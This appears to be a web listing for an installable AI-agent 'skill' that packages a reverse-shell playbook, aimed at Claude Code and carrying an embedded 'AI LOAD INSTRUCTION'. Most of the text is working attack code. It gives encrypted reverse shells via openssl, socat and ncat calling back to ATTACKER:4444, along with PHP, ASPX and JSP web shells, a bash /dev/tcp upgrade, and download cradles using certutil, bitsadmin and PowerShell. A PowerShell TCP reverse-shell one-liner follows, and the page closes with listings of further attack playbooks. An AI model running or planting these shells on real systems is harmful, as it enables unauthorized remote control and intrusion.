401-403-bypass-techniq…
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
Reverse shell techniques playbook. Use when establishing remote shells including language one-liners, encrypted shells (OpenSSL/socat/ncat), web shells, PTY upgrades, file transfer methods, PowerShell shells, and Windows payload generation.
$ npx -y skills add yaklang/hack-skills --skill reverse-shell-techniques --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/reverse-shell-techniquesContext preview
The summary Claude sees to decide when to auto-load this skill.
Reverse shell techniques playbook. Use when establishing remote shells including language one-liners, encrypted shells (OpenSSL/socat/ncat), web shells, PTY upgrades, file transfer methods, PowerShell shells, and Windows payload generation.
name: reverse-shell-techniques description: >- Reverse shell techniques playbook. Use when establishing remote shells including language one-liners, encrypted shells (OpenSSL/socat/ncat), web shells, PTY upgrades, file transfer methods, PowerShell shells, and Windows payload generation.
> **AI LOAD INSTRUCTION**: Expert reverse shell techniques. Covers reverse/bind shell decisions, encrypted shells (OpenSSL, socat SSL, ncat), web shell patterns (PHP/ASPX/JSP), PTY upgrade sequences, file transfer methods, PowerShell download cradles, and msfvenom payload generation. Base models miss encrypted shell syntax, proper PTY stabilization, and platform-specific transfer techniques.
Before going deep, consider loading:
Also load [SHELL_CHEATSHEET.md](./SHELL_CHEATSHEET.md) when you need:
---
| Factor | Reverse Shell | Bind Shell | |---|---|---| | Firewall (egress) | Works if outbound allowed | Blocked by egress filtering | | Firewall (ingress) | Not blocked | Requires inbound access to victim | | NAT | Works (victim connects out) | Fails (can't reach victim behind NAT) | | Detection | Outbound connection — less suspicious | Listening port — easily detected | | Default choice | **Almost always preferred** | Only when no egress + have inbound |
---
# Attacker: generate cert + listen openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj '/CN=localhost' openssl s_server -quiet -key key.pem -cert cert.pem -port 4444 # Victim: mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER:4444 > /tmp/s; rm /tmp/s
# Attacker: generate cert + listen openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 30 -out shell.crt cat shell.key shell.crt > shell.pem socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork STDOUT # Victim: socat OPENSSL:ATTACKER:4444,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
# Attacker: ncat --ssl -lvnp 4444 # Victim: ncat --ssl ATTACKER 4444 -e /bin/bash
---
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>
<!-- Minimal stealth shell -->
<?=`$_GET[0]`?>
<!-- POST-based with password -->
<?php if($_POST['k']==='SECRET'){system($_POST['cmd']);} ?><%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<% Process.Start(new ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}).StandardOutput.ReadToEnd(); %><%@ page import="java.io.*" %>
<% Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
String l;while((l=br.readLine())!=null){out.println(l);} %>1. Find upload endpoint → upload shell with allowed extension bypass 2. Locate uploaded file (predictable path, directory listing, response leak) 3. Trigger: GET /uploads/shell.php?cmd=id 4. Upgrade to reverse shell: ?cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
---
# Step 1: Spawn PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Step 2: Background shell
# Press Ctrl+Z
# Step 3: Configure terminal (on attacker)
stty raw -echo; fg
# Step 4: Set environment (back in shell)
export TERM=xterm-256color
stty rows 40 cols 160# script command script /dev/null -c bash # socat full PTY (requires socat on victim) # Attacker: socat file:`tty`,raw,echo=0 tcp-listen:4444 # Victim: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER:4444 # rlwrap for readline support (attacker side) rlwrap nc -lvnp 4444 # expect /usr/bin/expect -c 'spawn bash; interact'
---
# wget / curl wget http://ATTACKER:8000/file -O /tmp/file curl http://ATTACKER:8000/file -o /tmp/file # Python HTTP server (attacker side) python3 -m http.server 8000 # nc file transfer # Receiver: nc -lvnp 9999 > file # Sender: nc RECEIVER 9999 < file # base64 encode/decode (no tools needed) # Encode on source: base64 -w0 file # Paste on target: echo "BASE64_STRING" | base64 -d > file # scp through pivot scp -o ProxyJump=pivot user@target:/path/file ./local
# PowerShell DownloadFile
(New-Object Net.WebClient).DownloadFile('http://ATTACKER/file','C:\temp\file')
# PowerShell Invoke-WebRequest (PS 3.0+)
Invoke-WebRequest -Uri http://ATTACKER/file -OutFile C:\temp\file
iwr http://ATTACKER/file -o C:\temp\file
# certutil
certutil -urlcache -f http://ATTACKER/file C:\temp\file
# bitsadmin
bitsadmin /transfer job /download /priority high http://ATTACKER/file C:\temp\file
# SMB share (attacker hosts)
# Attacker: impacket-smbserver share /tmp/share -smb2support
copy \\ATTACKER\share\file C:\temp\file---
# One-liner TCP reverse shell
$c=New-Object Net.Sockets.TCPClient('ATTACKER',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 102 deep topic skills across 14 security domains.
Repo: yaklang/hack-skills
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS…
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to…
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets,…
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing,…
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent…